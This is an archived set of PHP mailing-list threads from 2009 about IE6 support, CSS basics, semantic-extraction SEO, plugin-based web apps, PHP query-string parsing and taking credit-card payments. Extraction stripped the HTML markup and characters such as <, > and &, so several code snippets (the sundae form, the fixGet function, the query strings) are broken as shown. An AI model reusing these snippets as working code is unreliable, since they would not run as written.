don't know that the site is goofy because of their browsers' lack of support for CSS. In fact, the vast majority of them wouldn't even know something called CSS exists. And by the way, this attitude of My code is fine; your browser sucks; upgrade can be the worst kind of arrogance, and people react to it exactly as though it were arrogance. There used to be the same kind of attitude with regard to screen resolution. 640x480 was just so 80s, and *all* the latest monitors supported 1280x1024 or whatever. So we design for 1280x1024 and screw those Luddite users. I would agree if someone's using Netscape 4; you'd have to kindly break it to them that they really should upgrade. But beyond that, it gets gray. Telling a user to upgrade his browser because it won't display your way kewl website properly is like telling someone it's time to trade in their car. The car still runs fine, and gets them from point A to point B without a lot of maintenance issues. Why should they trade it in? And they'll react with resentment. The analogy isn't perfect. Computer/web technology moves a lot faster than car technology. But there are probably still sites out there which will sell them the doodad they want without them having to upgrade their browser. Why stay with you? yeah - major difference being that upgrading your web browser if free, and as we well know you can have multiple browsers installed with no problems. I understand what you are saying, but if 50%+ of the worlds web developers simply cut support for x, y z browser (or displayed a limited site with a notice) then I think the old browsers may just go away (90%). eg if google, facebook, msn, ebay, yahoo all cut support for them.. To be honest, I think the reason the site didn't paint properly is because you put the content of the cells (the outline numbering) in the CSS. If you had inserted content for each cell into the actual HTML, it might have painted fine. Nonetheless... yup, and its css3 with selectors that are unsupported by ie6 + even with content it'll hit a few bugs - infact it just won't work in ie6 full stop. regards! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] CSS tables
tedd wrote: At 4:05 AM +0100 5/18/09, Nathan Rixham wrote: Paul M Foster wrote: And by the way, this attitude of My code is fine; your browser sucks; upgrade can be the worst kind of arrogance, and people react to it exactly as though it were arrogance. There used to be the same kind of attitude with regard to screen resolution. 640x480 was just so 80s, and *all* the latest monitors supported 1280x1024 or whatever. So we design for 1280x1024 and screw those Luddite users. I would agree if someone's using Netscape 4; you'd have to kindly break it to them that they really should upgrade. But beyond that, it gets gray. -snip- yeah - major difference being that upgrading your web browser if free, and as we well know you can have multiple browsers installed with no problems. I understand what you are saying, but if 50%+ of the worlds web developers simply cut support for x, y z browser (or displayed a limited site with a notice) then I think the old browsers may just go away (90%). eg if google, facebook, msn, ebay, yahoo all cut support for them.. Nathan: In most technical things you are right, but here I have to agree with Paul. The user is king -- you must to design for them regardless of their browser of choice -- even if their choice is a bad one. There are places/companies where they do not want to upgrade because of the problems and cost of upgrading. There are managers who believe Everything works. There's no reason to upgrade. I know a lot of people who are frozen in time with their computer system because it has reached it's technological end. Also, many don't have the money to upgrade and to some, our discarded systems are the only things they can afford. What do we do with them -- discard them as well? According to my stats, IE 6 has a popularity of around 15 percent and that is dropping at around one percent per month. At some point, IE6 will fall to IE5 levels ( 1%) and we won't have to consider it any longer regardless. But until then, any responsible web developer should accommodate IE 6 regardless of it's shortcomings. Cheers, tedd sadly I agree - and that's what I do as well, because I have to - but I don't want to and loathe every minute of it :p there's nothing that makes me cringe as much as a client mailing me saying my wifes cousin was just on the site and she said the sites doesn't look right, then after 2 days of communication I find its because they're on ie5.5 or something worse; and one feels compelled to do it gratis. I'm not going to rant - but yup you're right ted we have to - just part of me wanted fifteen thousand developers to reply going I agree, I am hither too not supporting anything before ie7 - we can dream! regards! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] CSS tables
tedd wrote: At 8:52 PM +0100 5/17/09, Nathan Rixham wrote: semantics already are the next big thing and have been for a year or three. google aquired the leading semantic analysis software many years ago and have been using it ever since, likewise with yahoo and all the majors. further we've all had open access to basic scripts like the yahoo term extraction service for years, and more recently (well maybe 2+ years) we've had access to open calais from reuters which will extract some great semantics from any content. if you've never seen then the best starting point is probably http://viewer.opencalais.com/ Nathan: You are always doing this to me -- you're as bad a Rob (but I can usually understand Rob). You guys make my head hurt. It would be nice if I could learn something and that was the end of it. But n -- very time I think I've learned something, you people point out my ignorance and keep dragging me back in to learn more -- when will it end? (rhetorical) /rant. From what I see, the link you provided will create tool-tips for terms and phrases found in text you provide. For example, if you have web-standards in your text, then it will show a tool-tip of Industry Term: web standards, which is kind of redundant and obvious, don't you think? Your text can also contain the terms accessibility, compliance, and even W3C but none of those will be identified. So, what's the big deal? Has this three year old state-of-the-art technology advanced so far that it can identify web standards but fails on accessibility, compliance, and W3C? I don't see the point -- please enlighten me. pretty sure yahoo (and maybe google) have been parsing rdf semantic data embedded inside comments in xhtml documents for a couple of years now, even the adding of tags generated by semantic extraction are common place now and make a big difference to seo. I can understand XML and maybe everyone will agree on a common namespace for these Industry Terms someday, but I do not see the connection between this and SEO. Do you think that because Google *may* be doing this in some fashion that you can duplicate their efforts and gain PR for your site? If so, I think the effort you expend may exceed just attending to content and letting Google do it's thing. But, I'm simple that way -- I would rather walk around the mountain than move it. If however you mean document structure semantics such as using h* tags throughout the document in the correct places, then this is even older and everybody should be doing it - hell that's what an html document is! That's not what I was talking about. I'm not talking about html tags but rather simple semantic divs for things like header, footer, content and such. It would be nice if everyone *was* doing it, but that's not the case. In any event, your semantic thing appears more interesting and I suspect there's more to follow. Jut wait a moment, while I empty my head of useless childhood memories and await the onslaught of new things to consider. :-) with open calais you'll find that it is more tailored to extracting business-centric information such as company names, peoples names, places, addresses, telephone numbers, quotes, hot topics, events, commercial products etc, rather than generic terms. The document viewer I linked you to however, did not display the full rdf info returned, it can be pretty impressive - often you can run an article through it and it'll be able to tell you that x person said such and such on date y at place z. then consider yahoo term extraction, which extracts generic and common terms (keywords, keyphrases) from bodies of text. now lets say you created a simple blog without any categories or tags or anything, then you could simply run all your content through open calais and yahoo term extraction and use the returned values to correlate related articles and automatically tag all your blogs. You could also preg_replace X% of the semantic extracts and terms found in your article to other articles on site. Further you can re-inject the terms back in to the content in cunning but useful ways and further optimise your output, couple this with the output of the tags ont he page and the titles of the related articles and well.. you end up with what is effectively a perfectly optimised page and an auto associating context aware website. I built a few versions of some systems to do this in the IM sector a couple of years ago, well spent 2005-2008 doing pretty much exclusively this and seeing how far one could take it and the results were rather astonishing. here are some rough details on implementations I made: related affiliate products one spider crawled affiliate sites such as clickbank, then on tot he landing page of the affiliate offer, extracted the main content, split it in to chunks (anchor text, paragraphs, h* tags, titles, paragraphs etc) then ran it through the analysers
Re: [PHP] CSS tables
tedd wrote: At 5:14 PM +0100 5/18/09, Nathan Rixham wrote: -- computing ... .. . hows the childhood memories? I had a childhood? Cheers, tedd not sure? check the photo album - that's what I do - then look on like a 3rd person -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] CSS tables
I just wanted to run this past you guys for thoughts and opinions or even just to get brains ticking, it's all web development related and touched on throughout this thread. At the core of this we have a single problem, we create websites and web based applications, which we want to be delivered to users clients, and have them function and render correctly. This is made impossible because we have multiple client vendors all with varying support for varying features and standards. To solve this we'd need force the users computer to use the client which the application / website was created for use on - similar to conventional software products which run on x and y platform but not z. The aforementioned forcing is impossible though, we can't force a users computer to switch to firefox for this site and ie for that and so on. It appears to me then that the only way to address this issue would be to literally send the needed client along with the requested content to the users computer and have it open. To achieve this feasibly you'd need to have a sub-client which could run inside any client (or the majority of clients). At this point we have a rough model to work with. currently the model is: user requests content content is sent to users client client determines how it functions and renders. and the new model outlined: user requests content sub-client and content is sent to users client sub-client is launched within users client sub-client determines how it functions and renders. addressing another issue. we often have the need for realtime server client / client server push, without polling - as we know the http protocol does not support this as it's a request response based protocol not a persistent bidirectional (stream based) connection. Thus we'd need the sub-client to support protocols other than http, ideally any form of tcp connection(s) to any port(s) using whichever protocol(s) we require for a specific application. Realistically we'd want our content to be requested, delivered and updated freely, which would mean using the sub-client to handle all of this, connecting up to whatever server based software application(s) we specify. revisiting the model, now we'd need: user requests content sub-client and _content loading instruction_ sent to users client sub-client is launched within users client sub-client connects to server application(s) and requests content. sub-client determines how content functions, updates and renders. this still leaves us with the sub-client determining things for us though, it is a markable improvement though as now we have the user running our application / viewing our content in the client we designed it for. so taking this further what we really need to start this off is a standard sub-client that's lightweight and runs applications, and those applications determine how the content functions, updates and renders. In this scenario we could either select general pre made / third party application to display our content, or create our own application. This application would obviously run inside the sub-client which is inside the users client, and we'd have all the major problems addressed. Speed, in order to keep the speed up with this any client, single sub-client, multiple application scenario it'd be a big bonus if the sub-client was held client side and downloaded / updated as required. updated model: user requests content sub-client required and application location are sent to users client. sub-client is launched within users client sub-client loads required application application connects to server application(s) and requests content. application determines how content functions, updates and renders. other considerations not all requests are made by users, we have bots, spiders and there-in seo to consider here not to mention accessibility. To cut this bit short the obvious answer is two versions of the content (talking text based specifically here), one version that's available if the client doesn't support our sub-client, and another that's loaded inside the application. Alternative content I guess. implementing model using current technologies none of this is any good unless we can do it, and do it with technologies that the majority of users have today - so how does this sound. users client requests content uri via http protocol http response is sent back which includes: - standard format document for bots/accessibility/unsupported clients - sub-client requirement, application location, and instantiation code ... from this point on the application inside the sub-client can forget the http protocol and client limitations and do what we want, the way we want it to. addressing the http response mentioned above, we currently have (x)html supported pretty much everywhere possible, and (x)html supports the object which let's objects (sub-clients) run inside a users client. The
Re: [PHP] CSS tables
PJ wrote: Nathan Rixham wrote: lol Glad /snip as they say did you ever get any help explaining css? just in case here's the ultra basics you have selectors and declarations selectors can be: .classname (a class, to be applied to many objects) #someid (a single object) p (redefine an html element) declarations combine to make a rule background-color:red; border-width:1px; font-size:22px; you combine declarations together and wrap them in a selector to make rules, rules are applied to html element(s) that the selector matches. p { font-size:11px; color:blue; } the above will give all text inside a paragraph blue text sized 11px. then you can combine selectors to match specific element(s) and thus style your document. div p strong { color:red; } div ul strong { color:blue; } the first example will turn any text in a strong which is in a paragraph inside a div red. while the second will turn any text in a strong which is in a ul inside a div blue. you can also use commas to give one declaration multiple selectors table, image, div { border-style:none; } the above will ensure all tables, images and divs have no border. p strong, blockquote strong { font-size:15px; } and the above will match all strongs inside either a p or a blockquote and make the font size of them 15px. we also have more selectors which are less commonly used p strong { } this will match any strong that is a direct descendant of a p so it will match pthis is strongsomething/strong else/p but it won't match pthis spanstrongnot matched/strong at all/p then we have #id's and .classes; in html documents each item can have an id attribute, id's should be unique as its an identifier (id) lol - so #something { text-align:center; } div id=something the above would match this.. /div ids have the highest precedence, so if you had the following: div { text-align:left; } #something { text-align:center; } div this would be aligned left /div div id=something and this would be centered /div as for classes, they can be used with any element, and applied multiple times. .redText { color:red; } p normal text but span class=redthis is red/span and back to black/p and you can use multiple classes such as: p class=red padleft center myborder some content.. /p and then combine the selectors too div p.red { color:red; font-weight:normal; } ul li.red { color:red; font-weight:bold; } so a p class=red inside a div will be red and a ulli class=red will be bold and red help any? -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] CSS tables
Shawn McKenzie wrote: Nathan Rixham wrote: I just wanted to run this past you guys for thoughts and opinions or even just to get brains ticking, it's all web development related and touched on throughout this thread. At the core of this we have a single problem, we create websites and web based applications, which we want to be delivered to users clients, and have them function and render correctly. This is made impossible because we have multiple client vendors all with varying support for varying features and standards. To solve this we'd need force the users computer to use the client which the application / website was created for use on - similar to conventional software products which run on x and y platform but not z. The aforementioned forcing is impossible though, we can't force a users computer to switch to firefox for this site and ie for that and so on. It appears to me then that the only way to address this issue would be to literally send the needed client along with the requested content to the users computer and have it open. To achieve this feasibly you'd need to have a sub-client which could run inside any client (or the majority of clients). At this point we have a rough model to work with. currently the model is: user requests content content is sent to users client client determines how it functions and renders. and the new model outlined: user requests content sub-client and content is sent to users client sub-client is launched within users client sub-client determines how it functions and renders. addressing another issue. we often have the need for realtime server client / client server push, without polling - as we know the http protocol does not support this as it's a request response based protocol not a persistent bidirectional (stream based) connection. Thus we'd need the sub-client to support protocols other than http, ideally any form of tcp connection(s) to any port(s) using whichever protocol(s) we require for a specific application. Realistically we'd want our content to be requested, delivered and updated freely, which would mean using the sub-client to handle all of this, connecting up to whatever server based software application(s) we specify. revisiting the model, now we'd need: user requests content sub-client and _content loading instruction_ sent to users client sub-client is launched within users client sub-client connects to server application(s) and requests content. sub-client determines how content functions, updates and renders. this still leaves us with the sub-client determining things for us though, it is a markable improvement though as now we have the user running our application / viewing our content in the client we designed it for. so taking this further what we really need to start this off is a standard sub-client that's lightweight and runs applications, and those applications determine how the content functions, updates and renders. In this scenario we could either select general pre made / third party application to display our content, or create our own application. This application would obviously run inside the sub-client which is inside the users client, and we'd have all the major problems addressed. Speed, in order to keep the speed up with this any client, single sub-client, multiple application scenario it'd be a big bonus if the sub-client was held client side and downloaded / updated as required. updated model: user requests content sub-client required and application location are sent to users client. sub-client is launched within users client sub-client loads required application application connects to server application(s) and requests content. application determines how content functions, updates and renders. other considerations not all requests are made by users, we have bots, spiders and there-in seo to consider here not to mention accessibility. To cut this bit short the obvious answer is two versions of the content (talking text based specifically here), one version that's available if the client doesn't support our sub-client, and another that's loaded inside the application. Alternative content I guess. implementing model using current technologies none of this is any good unless we can do it, and do it with technologies that the majority of users have today - so how does this sound. users client requests content uri via http protocol http response is sent back which includes: - standard format document for bots/accessibility/unsupported clients - sub-client requirement, application location, and instantiation code ... from this point on the application inside the sub-client can forget the http protocol and client limitations and do what we want, the way we want it to. addressing the http response mentioned above, we currently have (x)html supported pretty much everywhere possible, and (x)html supports the object which let's objects (sub-clients) run inside a users client
Re: [PHP] CSS tables
Shawn McKenzie wrote: Nathan Rixham wrote: Shawn McKenzie wrote: Nathan Rixham wrote: I just wanted to run this past you guys for thoughts and opinions or even just to get brains ticking, it's all web development related and touched on throughout this thread. At the core of this we have a single problem, we create websites and web based applications, which we want to be delivered to users clients, and have them function and render correctly. This is made impossible because we have multiple client vendors all with varying support for varying features and standards. To solve this we'd need force the users computer to use the client which the application / website was created for use on - similar to conventional software products which run on x and y platform but not z. The aforementioned forcing is impossible though, we can't force a users computer to switch to firefox for this site and ie for that and so on. It appears to me then that the only way to address this issue would be to literally send the needed client along with the requested content to the users computer and have it open. To achieve this feasibly you'd need to have a sub-client which could run inside any client (or the majority of clients). At this point we have a rough model to work with. currently the model is: user requests content content is sent to users client client determines how it functions and renders. and the new model outlined: user requests content sub-client and content is sent to users client sub-client is launched within users client sub-client determines how it functions and renders. addressing another issue. we often have the need for realtime server client / client server push, without polling - as we know the http protocol does not support this as it's a request response based protocol not a persistent bidirectional (stream based) connection. Thus we'd need the sub-client to support protocols other than http, ideally any form of tcp connection(s) to any port(s) using whichever protocol(s) we require for a specific application. Realistically we'd want our content to be requested, delivered and updated freely, which would mean using the sub-client to handle all of this, connecting up to whatever server based software application(s) we specify. revisiting the model, now we'd need: user requests content sub-client and _content loading instruction_ sent to users client sub-client is launched within users client sub-client connects to server application(s) and requests content. sub-client determines how content functions, updates and renders. this still leaves us with the sub-client determining things for us though, it is a markable improvement though as now we have the user running our application / viewing our content in the client we designed it for. so taking this further what we really need to start this off is a standard sub-client that's lightweight and runs applications, and those applications determine how the content functions, updates and renders. In this scenario we could either select general pre made / third party application to display our content, or create our own application. This application would obviously run inside the sub-client which is inside the users client, and we'd have all the major problems addressed. Speed, in order to keep the speed up with this any client, single sub-client, multiple application scenario it'd be a big bonus if the sub-client was held client side and downloaded / updated as required. updated model: user requests content sub-client required and application location are sent to users client. sub-client is launched within users client sub-client loads required application application connects to server application(s) and requests content. application determines how content functions, updates and renders. other considerations not all requests are made by users, we have bots, spiders and there-in seo to consider here not to mention accessibility. To cut this bit short the obvious answer is two versions of the content (talking text based specifically here), one version that's available if the client doesn't support our sub-client, and another that's loaded inside the application. Alternative content I guess. implementing model using current technologies none of this is any good unless we can do it, and do it with technologies that the majority of users have today - so how does this sound. users client requests content uri via http protocol http response is sent back which includes: - standard format document for bots/accessibility/unsupported clients - sub-client requirement, application location, and instantiation code ... from this point on the application inside the sub-client can forget the http protocol and client limitations and do what we want, the way we want it to. addressing the http response mentioned above, we currently have (x)html supported pretty much everywhere possible, and (x)html supports the object which let's objects (sub
Re: [PHP] CSS tables
Shawn McKenzie wrote: Nathan Rixham wrote: Java anyone? eh? how do you get java from that? . user requests content sub-client required and application location are sent to users client. sub-client is launched within users client sub-client loads required application application connects to server application(s) and requests content. application determines how content functions, updates and renders. . finally, if the sub-client was independent, ie not limited to use in clients, could be used on desktops, phones, inside tv hardware etc as well, then our content could be viewed and applications used virtually anywhere. . Also, have you ever looked at: http://www.openlaszlo.org? I built one of their small tutorial apps several years ago but it looks much more mature now. looked at, never used to be honest, any good? Haven't tried it in a while, but might be worth an evening of playing with it now that it has matured. and now I see how you get java - flash is more lightweight though and v good with fp10 and as3, hell you can even use alchemy to add c code to your flash apps now, and it's much quicker than as3 code because its optimized during swf compilation. will make for some killer 3d apps. I have only briefly played with Flash or Java and it's been a couple of years. It just sounded like Java to me when you were explaining it. It's hard for me to remember who the Java versus Flash proponents are, so I expected a Java punchline instead of the Flash one :-) lol I'm PHP, Java, Flash / Flex (well AS3 to be specific) - but technologies aside I'm all for anything that promotes the model outlined, only really use AS3 and Java because they allow me to point as much work as possible towards this - and php in the middle. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Posting values to a URL
dele454 wrote: hi, I am working on integrating a credit payment service from setcom. on completion of transaction setcom sends bunch of post variables that my script has to send back to setcom to get the details of the transaction as an xml file. I am using the pecl_http extension(http_post_fields) for posting these variables but i have this reponse header info with the xml file that i can't get rid of. And the php doc isnt explicit enough on the use of this function: Code: HTTP/1.1 200 OK Connection: close Date: Tue, 19 May 2009 21:56:02 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP=IDC DSP CURa ADMa DEVa IVAa IVDa OUR DELa NOR LEG UNI PUR NAV INT DEM X-Powered-By: ASP.NET Set-Cookie: CFID=142013;expires=Thu, 12-May-2039 21:56:02 GMT;path=/ Set-Cookie: CFTOKEN=99801499;expires=Thu, 12-May-2039 21:56:02 GMT;path=/ ?xml version='1.0' encoding='UTF-8'?order_synchrooutcomestatusComplete/status i need to work with the xml file but the response header with the xml file is really not allowing me to. How can i set the http_post_field function not to return response headers? Help needed thanks in advance! - dee $content = 'the http response'; $parts = explode('?xml', $content); $content = '?xml' . $parts[1]; i guess.. if you removed the new lines in that chunk of response then explode/split on \r\n\r\n as that's how http messages are formatted and split up :) regards -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Parsing of forms
Daniele Grillenzoni wrote: On 19/05/2009 18.09, Andrew Ballard wrote: On Tue, May 19, 2009 at 10:11 AM, Ford, Mikem.f...@leedsmet.ac.uk wrote: On 19 May 2009 14:37, Daniele Grillenzoni advised: My complaint is this: a I can have a select multiple with a normal name, which is allowed by every spec, but PHP requires me to use [] in order to properly retrieve the values. I really don't understand the problem with this -- in fact, I find it quite useful to distinguish inputs which may have only 1 value from those which may be multi-valued. And it all depends on what you mean by a normal name, of course -- no current (X)HTML spec disallows [] as part of a name attribute, so in that sense a name containing them could be seen as perfectly normal...!! ;) ;) Can you explain why this is such a hang-up for you, as I haven't seen anything in what you've posted so far to convince me it's any kind of problem? Cheers! Mike I can't speak for the OP, but I've always thought it somewhat odd. An HTML form should be able to work correctly without modification regardless of the language that receives the input. As it is, it makes the HTML for a form implementation specific. You might be able to use ASP correctly process a form originally targeted toward PHP, but you could not similarly take a form designed for ASP and process it with PHP without modification. It also impacts the use of client-side JavaScript. Consider a simple page like this: sundae.html == html head script function countToppings() { var totalToppings = 0; var toppings = document.sundae.toppings; // To work with PHP, the above line would have to be changed: // var toppings = document.sundae.elements['toppings[]']; if (toppings.length 1) { for (var i = 0; i toppings.length; i++) { if (toppings[i].checked) totalToppings++; } } else { if (toppings.checked) totalToppings++ } if (totalToppings == 0) { confirm(Are you sure you don't want any toppings on your sundae?); } else if (totalToppings 3) { alert(Wow! That's a lot of toppings!); } else if (totalToppings == 1) { alert(You only want one topping.); } else { alert(You have selected + totalToppings + toppings! Yummy!); } } /script /head body form name=sundae div fieldset legendToppings/legend input type=checkbox id=toppings-sprinkles name=toppings value=sprinkles/ label for=toppings-sprinklessprinkles/labelbr/ input type=checkbox id=toppings-nuts name=toppings value=nuts/ label for=toppings-nutsnuts/labelbr/ input type=checkbox id=toppings-fudge name=toppings value=fudge/ label for=toppings-fudgefudge/labelbr/ input type=checkbox id=toppings-caramel name=toppings value=caramel/ label for=toppings-caramelcaramel/labelbr/ input type=checkbox id=toppings-strawberries name=toppings value=strawberries/ label for=toppings-strawberriesstrawberries/labelbr/ /fieldset input type=button name=count value=Count My Toppings onclick=countToppings()/ input type=submit name=order value=Order / /div /form /body /html The above form, if submitted, could build a perfectly valid query string of ?toppings=sprinklestoppings=nutstoppings=fudgetoppings=carameltoppings=strawberries. In the grand scheme of things, these are just subtleties that can easily be handled. Since my first major experience with a web language was PHP (after a very brief dabble in PERL) before I took a turn at ASP/VBScript, I'm used to it and it isn't a hang-up for me. But something about it never seemed quite right to me either. :-) Andrew Andrew captured perfectly what I meant. ?toppings=sprinklestoppings=nutstoppings=fudgetoppings=carameltoppings=strawberries is a valid querystring that php sort of fail at understanding. I have nothing against supplying a string/array clarification system based on the name with/without the square brackets, but short of manually parsing the querystring/request headers, I have no alternative to that. Also my original problem came when I had to parse the results of a form I did NOT originally create, not to mention forms from external sources... I don't hate PHP and I don't want to throw off people who like the [] system, just give me an alternative with a small overhead. :P quick work around :) (could be improved) ?php function fixGet() { $newGet = array(); foreach($vals=explode('',$_SERVER['QUERY_STRING']) as $i = $pair ) { $pair = explode( '=' , $pair , 2 ); if( !isset( $newGet[$pair[0]] ) ) { $newGet[$pair[0]] = $pair[1]; } else { if( !is_array($newGet[$pair[0]]) ) { $newGet[$pair[0]] = array( $newGet[$pair[0]] ); } $newGet[$pair[0]][] = $pair[1]; } } $_GET = $newGet; } print_r( $_GET ); fixGet(); print_r( $_GET ); ? outputs: Array ( [toppings] = caramel [order] =
Re: [PHP] Re: Parsing of forms
Daniele Grillenzoni wrote: On 20/05/2009 2.45, Nathan Rixham wrote: Daniele Grillenzoni wrote: On 19/05/2009 18.09, Andrew Ballard wrote: On Tue, May 19, 2009 at 10:11 AM, Ford, Mikem.f...@leedsmet.ac.uk wrote: On 19 May 2009 14:37, Daniele Grillenzoni advised: My complaint is this: a I can have a select multiple with a normal name, which is allowed by every spec, but PHP requires me to use [] in order to properly retrieve the values. I really don't understand the problem with this -- in fact, I find it quite useful to distinguish inputs which may have only 1 value from those which may be multi-valued. And it all depends on what you mean by a normal name, of course -- no current (X)HTML spec disallows [] as part of a name attribute, so in that sense a name containing them could be seen as perfectly normal...!! ;) ;) Can you explain why this is such a hang-up for you, as I haven't seen anything in what you've posted so far to convince me it's any kind of problem? Cheers! Mike I can't speak for the OP, but I've always thought it somewhat odd. An HTML form should be able to work correctly without modification regardless of the language that receives the input. As it is, it makes the HTML for a form implementation specific. You might be able to use ASP correctly process a form originally targeted toward PHP, but you could not similarly take a form designed for ASP and process it with PHP without modification. It also impacts the use of client-side JavaScript. Consider a simple page like this: sundae.html == html head script function countToppings() { var totalToppings = 0; var toppings = document.sundae.toppings; // To work with PHP, the above line would have to be changed: // var toppings = document.sundae.elements['toppings[]']; if (toppings.length 1) { for (var i = 0; i toppings.length; i++) { if (toppings[i].checked) totalToppings++; } } else { if (toppings.checked) totalToppings++ } if (totalToppings == 0) { confirm(Are you sure you don't want any toppings on your sundae?); } else if (totalToppings 3) { alert(Wow! That's a lot of toppings!); } else if (totalToppings == 1) { alert(You only want one topping.); } else { alert(You have selected + totalToppings + toppings! Yummy!); } } /script /head body form name=sundae div fieldset legendToppings/legend input type=checkbox id=toppings-sprinkles name=toppings value=sprinkles/ label for=toppings-sprinklessprinkles/labelbr/ input type=checkbox id=toppings-nuts name=toppings value=nuts/ label for=toppings-nutsnuts/labelbr/ input type=checkbox id=toppings-fudge name=toppings value=fudge/ label for=toppings-fudgefudge/labelbr/ input type=checkbox id=toppings-caramel name=toppings value=caramel/ label for=toppings-caramelcaramel/labelbr/ input type=checkbox id=toppings-strawberries name=toppings value=strawberries/ label for=toppings-strawberriesstrawberries/labelbr/ /fieldset input type=button name=count value=Count My Toppings onclick=countToppings()/ input type=submit name=order value=Order / /div /form /body /html The above form, if submitted, could build a perfectly valid query string of ?toppings=sprinklestoppings=nutstoppings=fudgetoppings=carameltoppings=strawberries. In the grand scheme of things, these are just subtleties that can easily be handled. Since my first major experience with a web language was PHP (after a very brief dabble in PERL) before I took a turn at ASP/VBScript, I'm used to it and it isn't a hang-up for me. But something about it never seemed quite right to me either. :-) Andrew Andrew captured perfectly what I meant. ?toppings=sprinklestoppings=nutstoppings=fudgetoppings=carameltoppings=strawberries is a valid querystring that php sort of fail at understanding. I have nothing against supplying a string/array clarification system based on the name with/without the square brackets, but short of manually parsing the querystring/request headers, I have no alternative to that. Also my original problem came when I had to parse the results of a form I did NOT originally create, not to mention forms from external sources... I don't hate PHP and I don't want to throw off people who like the [] system, just give me an alternative with a small overhead. :P quick work around :) (could be improved) ?php function fixGet() { $newGet = array(); foreach($vals=explode('',$_SERVER['QUERY_STRING']) as $i = $pair ) { $pair = explode( '=' , $pair , 2 ); if( !isset( $newGet[$pair[0]] ) ) { $newGet[$pair[0]] = $pair[1]; } else { if( !is_array($newGet[$pair[0]]) ) { $newGet[$pair[0]] = array( $newGet[$pair[0]] ); } $newGet[$pair[0]][] = $pair[1]; } } $_GET = $newGet; } print_r( $_GET ); fixGet(); print_r( $_GET ); ? outputs: Array ( [toppings] = caramel [order] = Order ) Array ( [toppings] = Array ( [0] = nuts [1] = fudge [2] = caramel ) [order] = Order ) Yeah, and php://input should be able to handle $_POST, but custom functions ftl, the idea of having useless overhead for simple stuff like
[PHP] Re: Accepting Credit Card Payments
Gary wrote: Sorry, the first post were put in the wrong place... Not sure this is a direct PHP question, however I know I will get some answers here. I have a customer that I am bidding a small project for. They want to be able to accept credit card payments for enrollment into a class. Their customer will fill out a form and pay via CC on the site. Is this something that I should just look to the host for whatever shopping cart they have or is there an easy to administer software package that I should look into. Or since it is a one item cart, is this something that I could code? Thanks for your help. 1: all your posts came through almost identical, you only need to do it once then give it a few minutes to come through - it isn't instant 2: some are easy, paypal basically, the rest not so, although if you search php classes you may find some api integrations for 3rd parties. 3: if you can't do it don't bid mate, you'll just get headaches, stick to something you can do or atleast think you can do - there are plenty of people who specialise in things like this and could do it far quicker (and possibly cheaper / better) - no offence indented - my honest advise is to skip this project and do something else, if you're having to ask before you've even got the project you know.. 4: all of that is unless you go paypal, a simple paypal buynow button would be a piece of cake and just the ticket regards -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php